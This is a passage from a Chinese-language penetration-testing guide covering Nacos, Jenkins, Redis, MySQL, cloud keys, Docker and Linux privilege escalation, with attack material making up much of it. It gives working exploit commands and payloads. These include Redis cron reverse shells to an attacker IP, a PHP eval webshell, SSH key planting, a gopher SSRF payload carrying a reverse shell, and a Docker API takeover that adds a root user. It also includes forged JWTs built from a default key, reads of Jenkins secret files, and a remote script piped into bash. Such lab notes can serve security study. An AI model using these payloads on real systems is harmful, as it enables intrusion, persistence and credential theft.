- 在用户开启鉴权后,控制台才需要进行登录访问。

Nacos User-Agent 权限绕过漏洞(CVE-2021-29441)
该漏洞发生在 Nacos 在进行认证授权操作时,会判断请求的 User-Agent 是否为 "Nacos-Server"。如果是的话,则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。然而,由于配置过于简单,并且将协商好的 User-Agent 设置为 "Nacos-Server" 直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以获取到用户名、密码等敏感信息。
受影响版本:<= 2.0.0-ALPHA.1、< 1.4.1
漏洞环境
docker run --name nacos-bypass-auth -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 -d nacos/nacos-server:1.4.0
漏洞利用
- 添加新用户,用户名和密码均为
vulhub。
curl -X POST -A Nacos-Server "http://192.168.200.1:8848/nacos/v1/auth/users?username=vulhub&password=vulhub"
- 获取用户列表,判断添加用户是否成功。
curl -X GET -A Nacos-Server "http://192.168.200.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=1"
Nacos API derby 未授权访问漏洞(CVE-2021-29442)
若 Nacos 启用了 Derby DB 作为后端的 Storage,则攻击者可直接未授权访问进行 API 操作。
Derby DB 是一种轻量级的开源关系数据库管理系统(RDBMS),由 Apache 软件基金会开发和维护。它以 Java 编写,支持标准的 SQL 查询,并可以嵌入到 Java 应用程序中使用。
受影响版本:<=1.4.0
漏洞环境
cd vulhub/nacos/CVE-2021-29442
docker compose up -d
漏洞利用
/nacos/v1/cs/ops/derby 接口说明:此接口并非 SQL 注入漏洞,而是专为 Derby 数据库运维设计,允许查询数据库数据以辅助问题排查。
curl -X GET http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users

参考资料
Nacos Derby 远程命令执行漏洞(QVD-2024-26473)
这个漏洞实际上可以被视为 CVE-2021-29442 的更深层次利用。在之前的分析中,我们提到 Derby 的未授权 SQL 注入漏洞主要利用了 /derby 这个路由,但该漏洞限制了 SQL 语句必须以 SELECT 开头,这意味着单靠查询语句无法实现远程代码执行(RCE)。
调用 /nacos/v1/cs/ops/data/removal 接口,执行 CALL sqlj.install_jar 加载恶意 JAR 包,攻击者可以动态调用类中的静态方法,从而实现任意代码执行(RCE)。
受影响版本:Nacos <= 2.4.0 BETA
漏洞环境
docker run --rm --name nacos-derby-rce -e MODE=standalone -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 nacos/nacos-server:v2.2.0
漏洞利用
执行POC,-t 参数指定目标地址,-c 参数指定要执行的命令:
python3 poc.py -t http://192.168.200.1:8848 -c "ps aux"

参考资料
- https://ti.qianxin.com/vulnerability/notice-detail/1078
- https://nacos.io/blog/faq/nacos-user-question-history16278/
身份认证绕过漏洞(QVD-2023-6271,CNVD-2023674205)
在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
受影响版本:0.1.0 <= Nacos <= 2.2.0
漏洞环境
docker run --name nacos-default-token-key -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8080:8080 -p 8848:8848 -p 9848:9848 nacos/nacos-server:v2.2.0
漏洞利用
在配置文件conf/application.properties 中,
### The default token (Base64 String):
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
利用默认 key 构造 JWT Token,注意修改 exp 中为有效的时间戳,key 的编码格式为base64url。

在请求头中添加 Authorization 字段,如果响应状态码为 200,则 Token 有效,可以登录。
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate HTTP/1.1
Host: 192.168.200.1:8848
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg1MzI4MzM2NX0.Bl2No8lA91tCloRtelUPEAV_UEt8a1qiJcbyt89BFyQ
拦截登录的请求数据包,添加 Token 后,登录成功。
参考
- https://github.com/alibaba/nacos/releases/tag/2.2.0.1
- https://nacos.io/zh-cn/blog/announcement-token-secret-key.html
Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)
Nacos 默认的 7848 端口用于 Nacos 集群之间的 Raft 协议通信。Raft 是一种用于分布式系统的一致性算法,确保集群中的数据一致性。
在该端口的服务中,当处理部分 Jraft 请求时,会使用 Hessian 进行反序列化。Hessian 是一种高效的二进制序列化协议,广泛应用于 Java 和其他语言之间的数据交互。通过这种方式,Nacos 能够在集群间高效地传递数据,保证服务的高可用性和一致性。
受影响版本:1.4.0 <= Nacos < 1.4.6、2.0.0 <= Nacos < 2.2.3
Nacos 1.x 在单机模式下默认不开放 7848 端口,因此在这种模式下通常不会受到相关漏洞的影响。然而,在集群模式下,7848 端口是开放的,因此可能会受到影响。
与此不同,Nacos 2.x 版本无论是在单机模式还是集群模式下,均默认开放 7848 端口。这意味着在 Nacos 2.x 中,所有模式都有可能受到此漏洞的影响。
漏洞环境
docker run --rm --name nacos-hessian-rce -e MODE=standalone -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 nacos/nacos-server:v2.2.2
漏洞利用
https://github.com/c0olw/NacosRce

参考资料
Nacos Client Yaml 反序列化漏洞分析
https://xz.aliyun.com/news/9803
参考资料
- https://github.com/charonlight/NacosExploitGUI
- https://blog.takake.com/posts/23196/
- https://xz.aliyun.com/news/14588
- https://xz.aliyun.com/news/15068
Jenkins
Jenkins 是一个开源的自动化服务器,广泛应用于持续集成(CI)和持续交付(CD)中。它通过自动化软件的构建、测试和部署过程,帮助开发团队提高开发效率和软件质量。Jenkins 拥有丰富的插件生态系统,支持与多种工具(如 Git、Maven 和 Docker)集成,并提供直观的 Web 界面供用户配置构建流程。其分布式构建能力使得多个节点可以并行执行任务,从而提升构建效率。Jenkins 是现代软件开发中不可或缺的重要工具。
Jenkins任意文件读取漏洞 (CVE-2024-23897,QVD-2024-3674)
Jenkins 使用 args4j 来解析命令行输入,并支持通过 HTTP、WebSocket 等协议远程传入命令行参数。在 args4j 中,用户可以通过 @ 字符加载任意文件,这使得攻击者能够利用该特性读取服务器上的任意文件。
受影响版本:Jenkins <= 2.441、Jenkins LTS <= 2.426.2
漏洞环境
docker run --rm -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.441-jdk17
漏洞利用
使用官方提供的 CLI 客户端,访问http://localhost:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"
-
读取
$JENKINS_HOME/users/users.xml文件以获取在 Jenkins 服务器上拥有账户的用户列表; -
读取每个
$JENKINS_HOME/users/*.xml文件以提取用户信息,如:用户名、用户种子、时间戳和密码哈希; -
读取用于 cookie 签名的必要文件:
$JENKINS_HOME/secret.key$JENKINS_HOME/secrets/master.key$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
匿名情况下,只能通过命令行的报错读取文件的第一行。如果开启了“匿名用户可读”选项,可以直接使用 connect-node 命令读取完整文件内容:
http://127.0.0.1:8080/manage/configureSecurity/
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"
参考资料
- https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
- https://mp.weixin.qq.com/s/2a4NXRkrXBDhcL9gZ3XQyw
- https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins
- https://www.hackthebox.com/blog/cve-2024-23897
- https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html
Jenkins Remoting 远程代码执行漏洞(CVE-2024-43044)
参考资料
- https://forum.butian.net/article/559
- https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
- https://github.com/convisolabs/CVE-2024-43044-jenkins

综合利用工具
JenkinsExploit-GUI
参考资料
数据库安全
Redis
Redis 是一个高性能的开源内存数据存储系统,广泛用于数据库、缓存和消息代理。
Redis 由 Salvatore Sanfilippo 于 2006 年创建,使用 C 语言编写。当前主流版本包括 6.2.x、7.[24].x 和 8.0.x,早期版本有2.[02468].x、3.[02].x、4.0.x、5.0.x和6.0.x等等。
port:6379
基本用法
docker run --name ubuntu22 -it -p 8080:80 -p 6379:6379 -p 8022:22 ubuntu:22.04
- 通过官方仓库安装 Redis
sudo apt install redis-server
sudo service redis-server start
- 使用
redis-cli客户端连接
# sudo apt-get install redis-tools
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>
#port number is optional
#username is optional
#password is optional
root@d3070abc0151:~# redis-cli
127.0.0.1:6379> ping
PONG
配置文件 /etc/redis/redis.conf
- 常用命令
| 命令 | 用途 |
|---|---|
PING | 检查服务器是否运行(返回 PONG) |
QUIT | 退出客户端 |
INFO | 获取 Redis 服务器详细信息(版本、内存、配置等) |
CONFIG GET * | 查看所有配置(可能包含敏感信息) |
CLIENT LIST | 查看当前连接的客户端(IP、端口等) |
KEYS * | 列出所有键(寻找敏感数据) |
SET key value | 设置指定键的值(如 SET username "Alice") |
GET <key> | 读取键值(如 GET user:admin:password) |
HGETALL <hash_key> | 读取哈希表所有字段(如用户表) |
DUMP <key> | 导出键的序列化数据(可用于恢复) |
SELECT <db_index> | 切换数据库(0-15) |
FLUSHDB | 清空当前数据库 |
FLUSHALL | 清空所有数据库 |
nmap --script redis-info -sV -p 6379 10.10.x.x
msf> use auxiliary/scanner/redis/redis_server
认证
在 Redis 6.0 (2020 年 4 月 30 日)之前,主要的身份验证机制是在 redis.conf 文件中设置的一个全局密码。
- 编辑配置文件
redis.conf:requirepass your_strong_password - 重启 Redis 服务:
service redis-server start - 客户端连接:客户端必须使用以下命令进行身份验证:
AUTH your_strong_password
root@d3070abc0151:~# redis-cli
127.0.0.1:6379> ping
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth foobared
OK
127.0.0.1:6379> ping
PONG
docker run --rm -p 6379:6379 -v /myredis/conf:/usr/local/etc/redis docker:6.0 /usr/local/etc/redis/redis.conf
在 Redis 6.0 中引入的 ACL(访问控制列表)提供了细粒度的访问控制。定义不同的用户及其各自的密码、允许或拒绝特定命令执行、限制对符合特定模式的键的访问。从 Redis 6 开始,"requirepass" 仅是新 ACL 系统之上的兼容层。该选项的作用仅为默认用户设置密码。客户端仍可使用 AUTH <password> 进行认证,或遵循新协议更明确地使用 AUTH default <password>——两者均可生效。
保护模式
自 Redis 3.2.0 版本起引入保护模式,当 Redis 以默认配置(绑定所有网络接口)protected-mode yes 且未设置密码运行时,会自动启用保护模式。在此模式下,Redis 仅响应来自本地回环接口的请求,并向其他地址的连接返回错误信息,示例如下:
┌──(kali㉿kali)-[~/Desktop]
└─$ redis-cli -h 192.168.200.1
192.168.200.1:6379> ping
Error: Server closed the connection
not connected> auth foobared
Error: Server closed the connection
not connected>
Redis 的 Docker 官方镜像,默认关闭保护模式。
未授权访问漏洞
从 Redis 3.2.0 版本(2016 年 5 月 6 日)开始,为了安全考虑,默认配置将 Redis 服务器绑定到本地回环地址 127.0.0.1。 这意味着只有本地机器上的客户端才能连接到 Redis 服务器,从而阻止了未经授权的远程访问。在早期版本中,默认情况下,Redis 绑定到所有接口(0.0.0.0),这使其对所有网络接口可用。此外,注释掉bind 127.0.0.1,Redis 将绑定到所有接口。
暴力破解
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://<IP>
定时任务
Linux 系统提供了多种定时任务机制,用于在指定时间或周期性地执行命令和脚本。
* * * * * command_to_execute
┬ ┬ ┬ ┬ ┬
│ │ │ │ │
│ │ │ │ └── 星期几 (0 - 6) (0 是星期日)
│ │ │ └─────── 月份 (1 - 12)
│ │ └─────────── 日 (1 - 31)
│ └──────────────── 小时 (0 - 23)
└───────────────────── 分钟 (0 - 59)
| 字符 | 说明 | 示例 |
|---|---|---|
* | 任意值 | * * * * * 每分钟执行 |
, | 值分隔符 | 1,15 * * * * 每小时1分和15分执行 |
- | 范围 | 0 9-17 * * * 9点到17点整点执行 |
/ | 步长 | */5 * * * * 每5分钟执行 |
@ | 预设 | @daily 每天执行 |
# 编辑当前用户的crontab
crontab -e
# 列出当前用户的crontab
crontab -l
# 删除当前用户的crontab
crontab -r
# 指定用户操作(需要root权限)
crontab -u username -e
不同 Linux 发行版的 cron 任务文件存储位置存在差异:
| 发行版家族 | 用户级任务路径 | 系统级任务路径 |
|---|---|---|
| Debian/Ubuntu | /var/spool/cron/crontabs/<Username> | /etc/crontab |
| RHEL/CentOS | /var/spool/cron/<Username> | /etc/crontab |
| Alpine | /var/spool/cron/crontabs/<Username> | /etc/crontab |
* * * * * bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SET payload "\n* * * * * /bin/bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n"
SAVE
该利用方法存在系统限制,在centos/RHEL上可行,由于Ubuntu/Debian系 要求权限为 600,而 redis 通过SAVE命令默认创建的文件权限为644,并且会检查文件格式有效性。
docker run --name centos8 -it centos:8
webshell
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "\n<?php @eval($_POST[a]);?>\n"
SAVE
SSH 公钥
利用条件:开放 22/SSH服务,
ssh-keygen -t rsa
ls /root/.ssh/
id_rsa.pub
(echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
cat /.ssh/key.txt | redis-cli -h 127.0.0.1 -x set s-key
config set dir /root/.ssh
config set dbfilename authorized_keys
save
主从复制
主从模式(Master-Slave Replication)是 Redis 提供的一种数据复制机制,用于实现数据的冗余备份、读写分离和高可用性。
- 主节点(Master):负责处理客户端的写操作(如 SET、DEL 等),并将写操作同步到从节点。
- 从节点(Slave):复制主节点的数据,通常用于处理客户端的读操作(如 GET),从而分担主节点的负载。
环境搭建
- docker-compose.yml
services:
redis-master:
image: redis:5.0
container_name: redis-master
ports:
- "6379:6379"
redis-slave:
image: redis:5.0
container_name: redis-slave
ports:
- "6380:6379"
depends_on:
- redis-master
docker compose up
配置步骤
在从节点机器上进行如下配置:
- 方式 1:通过
redis.conf
REPLICAOF <主节点IP> <主节点端口>
- 方式 2:运行时配置
在 Redis 5.0 及以上版本,SLAVEOF 命令已被 REPLICAOF 取代,但为了兼容性,SLAVEOF 仍然可以使用。
# 建立主从关系, REPLICAOF <主节点IP> <主节点端口>
127.0.0.1:6379> REPLICAOF redis-master 6379
OK
# 认证配置(若主节点启用requirepass)
127.0.0.1:6379> CONFIG SET masterauth <master-password>
# 验证复制状态
127.0.0.1:6379> INFO replication
MODULE LOAD 命令用于动态加载外部模块(.so 文件),以扩展 Redis 的功能。
# 加载模块
127.0.0.1:6379> MODULE LOAD /tmp/exp.so
OK
# 查看已加载模块
127.0.0.1:6379> MODULE LIST
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1
# 执行命令
127.0.0.1:6379> system.exec id
"uid=999(redis) gid=999(redis) groups=999(redis)\n"
FULLRESYNC 是 Redis 主从复制(Replication)中的全量同步协议,当从节点(Replica)首次连接主节点(Master)或无法进行增量同步时触发。该机制确保从节点获得完整的数据集副本,是保证数据一致性的核心流程。
可利用版本:<=5.0.14,在高版本中,由于 Redis 创建的文件权限为600,没有执行权限,提示错误 Module /data/exp.so failed to load: It does not have execute permissions。
redis-rogue-server 是一种针对未授权访问 Redis 服务器的攻击手法,攻击者通过伪造恶意主节点(Master),诱导目标 Redis 服务器(作为从节点)同步恶意数据,最终实现远程代码执行(RCE)。
python3 redis-rogue-server.py --rhost 192.168.200.1 --rport 6379 --lhost 192.168.200.134
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis 在 Debian/Ubuntu 发行版的打包过程中,错误地将 Lua 库(liblua)与 Redis 主程序动态链接,攻击者可通过 Redis 的 EVAL 或 EVALSHA 命令执行恶意 Lua 脚本,利用 package 模块加载外部库,最终实现 远程代码执行(RCE)。
官方 Redis 源码编译版本不受影响。
环境搭建
cd vulhub/redis/CVE-2022-0543
docker compose up
漏洞利用
127.0.0.1:6379> EVAL 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
参考资料
- https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
- https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
结合 SSRF
环境搭建
# 构建镜像
docker build . -t redis-rocky
# 运行容器
docker run --name redis-rocky -d -p 8081:8080 -p 8022:22 -p 6379:6379 redis-rocky
# 进入容器
docker exec -it redis-rocky /bin/bash
漏洞利用
$ python2 payload_redis.py cron
Reverse IP > 192.168.200.134
Port > 54321
Centos/Ubuntu (Default Centos)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2475%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E%26%20/dev/tcp/192.168.200.134/54321%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Redis 协议(RESP, REdis Serialization Protocol)
如果需要认证,需要手工添加AUTH,如下:
gopher://127.0.0.1:6379/_AUTH%20redis123%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2475%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E%26%20/dev/tcp/192.168.200.134/54321%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
参考资料
- https://www.hackthebox.com/blog/red-island-ca-ctf-2022-web-writeup
- https://github.com/jas502n/gitlab-SSRF-redis-RCE
- https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
- https://github.com/tarunkant/Gopherus
- https://joner11234.github.io/article/9d7d2c7d.html
- https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b
综合利用工具
https://github.com/yuyan-sec/RedisEXP
参考资料
- https://hackviser.com/tactics/pentesting/services/redis
- https://github.com/n0b0dyCN/redis-rogue-server
- https://www.trendmicro.com/en_hk/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
- https://secybr.com/posts/redis-pentesting-best-practices/
- https://medium.com/@okanyildiz1994/mastering-redis-security-an-in-depth-guide-to-best-practices-and-configuration-strategies-df12271062be
- https://medium.com/@zoningxtr/ssrf-to-rce-via-redis-using-gopher-protocol-7409b1d97dcd
- https://antirez.com/news/96
MySQL
在 MySQL 中,secure_file_priv 是一个关键的安全配置变量,用于控制是否允许通过 LOAD_FILE() 和 LOAD_DATA 等函数执行文件的导入和导出操作。
show variables like '%secure_file_priv%';
如果值为空(NULL/空字符串),表示未启用文件路径限制,允许从任意路径导入/导出文件。攻击者可利用此配置漏洞写入恶意文件。
MySQL UDF 提权
MySQL 用户定义函数(UDF)允许通过 C/C++编写扩展功能,但配置不当可能被攻击者利用进行权限提升,获取系统级控制权限。
攻击者利用 MySQL 的FILE权限写入恶意动态链接库(.so/.dll),通过 UDF 机制加载执行,从而以 MySQL 服务账户身份执行系统命令。
利用前提条件:
- 文件写入权限:具备
FILE权限可写文件 - 插件目录路径:知晓
plugin_dir位置(如 Linux 默认/usr/lib/mysql/plugin/) - 恶意动态库:预先编译好的恶意 so/dll 文件
secure_file_priv
环境搭建
漏洞利用
定位插件目录
SHOW VARIABLES LIKE 'plugin_dir';
上传恶意库文件
SELECT 恶意代码 INTO DUMPFILE '/usr/lib/mysql/plugin/hack.so';
创建恶意函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'hack.so';
执行系统命令
SELECT sys_exec('whoami');
msf > use exploit/multi/mysql/mysql_udf_payload
msf exploit(mysql_udf_payload) > show targets
...targets...
msf exploit(mysql_udf_payload) > set TARGET < target-id >
msf exploit(mysql_udf_payload) > show options
...show and set options...
msf exploit(mysql_udf_payload) > exploit
参考资料
- https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf
- https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
- https://github.com/SafeGroceryStore/MDUT/tree/main
MongoDB
参考资料
Elasticsearch
云安全
AK (Access Key ID) 和 SK (Secret Access Key) 是云服务(如 AWS、阿里云、腾讯云等)用于身份验证的密钥对:
- AK:公开的访问密钥 ID,用于标识用户身份。
- SK:私密的访问密钥,用于签名请求,确保请求的合法性。
泄露的途径
- HeapDump
- Nacos
https://cosbrowser.cloud.tencent.com/login/
对象存储
OSS Browser 是阿里云官方提供的图形化工具,用于便捷管理 OSS(对象存储服务)中的文件,支持上传、下载、删除等操作,适合非技术用户直观操作云端存储资源。

云主机
行云管家
参考资料
- https://forum.butian.net/share/2376
- https://github.com/Phuong39/cf
- https://github.com/mrknow001/aliyun-accesskey-Tools
- https://help.aliyun.com/zh/ram/user-guide/create-an-accesskey-pair
- https://api.aliyun.com/document/Ecs/2014-05-26/RunCommand
- https://wiki.teamssix.com/
- https://cloudsec.tencent.com/home/
- https://www.secrss.com/articles/18769
- https://exfiltrated.com/research/HackingTheClouds.pdf
容器安全

在 Ubuntu 安装 Docker
在 Ubuntu 22.04 安装 Docker,
https://docs.docker.com/engine/install/ubuntu/
基本语法
$ docker info
...
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker
...
以下列出了不同操作系统下 Docker 默认的存储位置,但请注意,这些位置可以通过配置更改:
- Ubuntu:
/var/lib/docker/- 备注: 这是 Ubuntu 系统上 Docker 镜像、容器层、数据卷和网络配置的默认存储位置。 渗透测试人员需要关注此目录下的文件,例如
image/(镜像层),containers/(容器配置),volumes/(数据卷) 等, 检查是否存在安全隐患.
- 备注: 这是 Ubuntu 系统上 Docker 镜像、容器层、数据卷和网络配置的默认存储位置。 渗透测试人员需要关注此目录下的文件,例如
- Fedora:
/var/lib/docker/- 备注: 与 Ubuntu 类似,此目录包含了 Fedora 系统中所有 Docker 相关的数据。需要注意的是,Fedora 可能使用 SELinux 进行强制访问控制,这可能会影响渗透测试过程中对文件的访问权限。
- Debian:
/var/lib/docker/- 备注: Debian 系统的 Docker 存储位置与 Ubuntu 基本相同。渗透测试人员应注意检查 Docker 配置文件的权限,例如
/etc/docker/daemon.json,防止恶意配置导致安全问题。
- 备注: Debian 系统的 Docker 存储位置与 Ubuntu 基本相同。渗透测试人员应注意检查 Docker 配置文件的权限,例如
- Windows:
C:\ProgramData\DockerDesktop- 备注: 在 Windows 系统上,Docker Desktop 使用 Hyper-V 虚拟机来运行 Docker 守护进程。 实际的 Docker 数据存储在虚拟机的磁盘文件中。 渗透测试人员可以使用工具 (例如 PowerShell) 访问该目录,并分析虚拟机磁盘镜像。
- MacOS:
~/Library/Containers/com.docker.docker/Data/vms/0/~- 备注: 与 Windows 类似,Docker Desktop for Mac 也使用虚拟机。此路径指向虚拟机内部的 Docker 数据目录。 渗透测试人员可能需要借助特定的工具和技术来访问虚拟机内部的文件系统,例如使用
docker exec命令进入容器,或者使用虚拟机管理工具访问虚拟磁盘。
- 备注: 与 Windows 类似,Docker Desktop for Mac 也使用虚拟机。此路径指向虚拟机内部的 Docker 数据目录。 渗透测试人员可能需要借助特定的工具和技术来访问虚拟机内部的文件系统,例如使用
Docker 根目录的内部结构,/var/lib/docker 目录中保存着各种信息,例如:容器数据、卷、构建文件、网络文件和集群数据。
$ sudo ls -al /var/lib/docker
total 52
drwx--x--- 12 root root 4096 Jul 30 08:03 .
drwxr-xr-x 50 root root 4096 Jul 23 10:45 ..
drwx--x--x 5 root root 4096 Jul 29 21:00 buildkit
drwx--x--- 5 root root 4096 Jul 30 08:03 containers
-rw------- 1 root root 36 Jul 21 22:35 engine-id
drwx------ 3 root root 4096 Jul 21 22:35 image
drwxr-x--- 3 root root 4096 Jul 21 22:35 network
drwx--x--- 58 root root 4096 Jul 30 08:03 overlay2
drwx------ 3 root root 4096 Jul 21 22:35 plugins
drwx------ 2 root root 4096 Jul 30 08:03 runtimes
drwx------ 2 root root 4096 Jul 21 22:35 swarm
drwx------ 2 root root 4096 Jul 30 08:03 tmp
drwx-----x 2 root root 4096 Jul 30 08:03 volumes
Docker Engine API 未授权访问
Docker Engine API 是 Docker 官方提供的 RESTful API 接口,用于与 Docker 守护进程(Docker Daemon)进行交互。该 API 支持通过 HTTP/HTTPS 协议对容器、镜像、网络、卷等核心资源进行全生命周期管理。
Docker 守护进程默认通过 Unix Domain Socket (unix:///var/run/docker.sock) 进行本地进程间通信(IPC)。但如果配置不当,例如将守护进程绑定到 0.0.0.0,则会暴露在网络上。如果没有设置访问权限控制,如未启用 TLS 认证或防火墙限制,攻击者就可以直接通过网络访问该 API,无需认证即可执行各种 Docker 操作命令。由于 Docker 默认以 root 权限运行,攻击者可利用其远程创建特权容器,进而控制宿主机。
环境搭建
默认情况下,Docker 守护进程通过 Unix 套接字监听本地客户端的连接请求。可以通过配置 Docker 同时监听 IP 地址、端口以及 Unix 套接字,使其能够接受来自远程客户端的请求。 https://docs.docker.com/engine/daemon/remote-access/
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
漏洞利用
宿主机文件系统挂载(-v /:/mnt)
docker -H tcp://x.x.x.x:2375 run --rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c "bash -i >& /dev/tcp/192.168.1.130/4444 0>&1"
由于我们将宿主机的根目录挂载到容器中,因此可以从容器内直接修改宿主机的 /etc/passwd 和 /etc/shadow 文件,添加自定义用户或修改密码,进而通过 SSH 登录宿主机。
echo 'hacker:x:0:0:hacker,,,:/home/hacker:/bin/bash' >> /etc/passwd
| 字段 | 说明 |
|---|---|
hacker | 用户名:系统登录时使用的账户名称。 |
x | 密码占位符:实际密码加密后存储在 /etc/shadow 文件中。 |
0 | 用户ID (UID):唯一标识用户的数字,用于权限控制。 UID 0 是 root 的标识 |
0 | 用户组ID (GID):用户所属主组的唯一标识。 |
hacker,,, | 用户描述信息:可包含全名、联系方式等(此处为空)。 |
/home/hacker | 家目录路径:用户专属文件存储目录,默认位于 /home/ 下。 |
/bin/bash | 默认 Shell:用户登录后启动的命令行解释器(此处为 Bash)。 |
密码哈希值($6 表示 SHA-512 算法),明文密码为dev。
echo 'hacker:$6$gB/z0wS0$BZ.Zoj6QsXn4uwKUi6/zZm0ga/IJf7YHVneEXut0I06.ZywgtKcB79Mj.EAymXubo8tuos9Fr.aFCWs8PNH6T1:17096:0:99999:7:::'>> /etc/shadow
参考资料
- https://github.com/0xchang/DockerApiRCE
- https://www.trendmicro.com/en_hk/research/24/j/attackers-target-exposed-docker-remote-api-servers-with-perfctl-.html
- https://medium.com/@cloudsectraining/abusing-docker-remote-api-bef6a099cfd3
Habor 未授权访问漏洞(CVE-2022-46463)
Harbor 是一个开源的 企业级容器镜像仓库,由 VMware 公司(现为 Broadcom 旗下)开发并捐赠给 CNCF(云原生计算基金会)。它提供了安全、高效的 Docker 镜像存储和管理功能,适用于企业级 DevOps 和云原生环境。
Harbor 采用 微服务架构,主要组件包括:
Core:核心服务,处理 API 请求。 Registry:存储 Docker 镜像(基于 Distribution)。 Database(PostgreSQL):存储用户、项目、权限等元数据。 Redis:缓存会话和临时数据。 Job Service:处理异步任务(如镜像复制、垃圾回收)。 Portal:Web UI 管理界面。 Notary(可选):镜像签名验证。 Trivy/Clair(可选):漏洞扫描。
由于 Harbor 的访问控制缺陷,未认证的攻击者可通过该漏洞获取公开和私有镜像仓库的全部信息,对私有仓库的未授权访问可能泄露专有应用代码、容器镜像中硬编码的凭据或令牌,还可能暴露过时镜像中的安全漏洞。
docker save
环境搭建
漏洞利用
Docker 镜像导出
https://docs.docker.com/reference/cli/docker/image/save/
docker inspect
检查 .tar 文件结构, tar -tf
mkdir ubuntu && tar -xf ubuntu.tar -C ubuntu
参考资料
- https://github.com/404tk/CVE-2022-46463
- https://mp.weixin.qq.com/s/21V_TACA-UEeKdM2_D-0oQ
- https://blog.hans362.cn/post/sjtu-ctf-2023-writeup/#exsecurity_flag_r
Linux 权限提升
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
从内存中运行 linPEAS
curl 172.16.1.30/linpeas.sh | bash
内核漏洞提权
https://github.com/The-Z-Labs/linux-exploit-suggester
脏牛
SUID提权
find / -perm -4000 -type f -exec ls -al {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
Sudo 提权
LD_PRELOAD注入
LD_PRELOAD(也称为预加载)是 Linux 动态链接器中的一个强大且高级的功能,它允许用户在进程开始执行之前,将共享对象文件注入(预加载)到该进程的地址空间中。
作为攻击者,我们可以利用这一功能,将恶意的预加载库注入到我们可以用 sudo 权限运行的任何二进制文件中。
gcc -fPIC -shared -nostartfiles inject.c -o inject.so
